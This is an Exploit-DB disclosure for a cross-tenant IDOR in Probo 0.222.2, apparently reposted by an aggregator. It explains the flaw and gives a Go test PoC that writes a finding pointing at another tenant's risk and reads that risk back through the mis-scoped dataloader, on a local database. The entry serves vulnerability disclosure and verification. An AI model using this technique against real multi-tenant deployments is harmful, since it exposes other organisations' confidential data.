[webapps] Probo 0.222.2 - IDOR
# Exploit Title: Probo 0.222.2 - IDOR # Date: 2 2026-8-17 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:2 收藏

# Exploit Title: Probo 0.222.2 - IDOR 

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/getprobo/probo 

# Software Link: https://github.com/getprobo/probo 

# Version: <= 0.222.2 (fixed 0.223.1)

# Tested on: Linux

# CVE: CVE-2026-63505

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo 



Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (idor_test.go) ---

package idorpoc



import (

"context"

"fmt"

"testing"

"time"



" http://github.com/stretchr/testify/require "

" http://go.gearno.de/kit/pg "

" http://go.probo.inc/probo/internal/test "

" http://go.probo.inc/probo/pkg/coredata "

" http://go.probo.inc/probo/pkg/gid "

)



// TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant

// IDOR in the Finding->Risk relation (console v1):

//   - Write gap: http://FindingService.Create/Update  (finding_service.go:147,248) store

//     req.RiskID with no scoped validation; coredata Finding.Insert has no tenant

//     FK on risk_id. => an org-A finding can reference an org-B risk.

//   - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the

//     *finding* (org A), then the dataloader (dataloader.go:223) scopes by the

//     *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.

// Benign marker: a sentinel risk name created in org B is read back through the

// org-B-scoped load that the resolver uses.

func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {

t.Helper()

tenantID := gid.NewTenantID()

orgID := gid.New(tenantID, coredata.OrganizationEntityType)

now := time.Now()

err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {

_, err := tx.Exec(ctx,

`INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,

orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now)

return err

})

require.NoError(t, err)

return tenantID, orgID, coredata.NewScope(tenantID)

}



func TestFindingRiskCrossTenantIDOR(t *testing.T) {

client := test.PGClient(t)

ctx := context.Background()



tenantA, orgA, scopeA := mkOrg(t, client)

tenantB, orgB, scopeB := mkOrg(t, client)

_ = tenantA



const sentinel = "SECRET-ORG-B-RISK-do-not-disclose"

riskB := &coredata.Risk{

ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,

Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated,

Note: "internal", InherentLikelihood: 3, InherentImpact: 3,

ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),

}

require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {

return riskB.Insert(ctx, tx, scopeB)

}), "seed org-B risk")



// --- WRITE GAP: create a finding in org A referencing org B's risk ---

findingA := &coredata.Finding{

ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,

Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,

Priority: coredata.FindingPriorityMedium,

RiskID:   &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId

CreatedAt: time.Now(), UpdatedAt: time.Now(),

}

writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {

return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does

})

require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded")

t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID)



// --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---

loaded := &coredata.Risk{}

readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {

// exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)

return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)

})

require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request")

require.Equal(t, sentinel, loaded.Name)

t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name)



// --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---

contrast := &coredata.Risk{}

cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {

return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope

})

require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)")

fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr)

}
            

文章来源: https://www.exploit-db.com/exploits/52650
如有侵权请联系:admin#unsafe.sh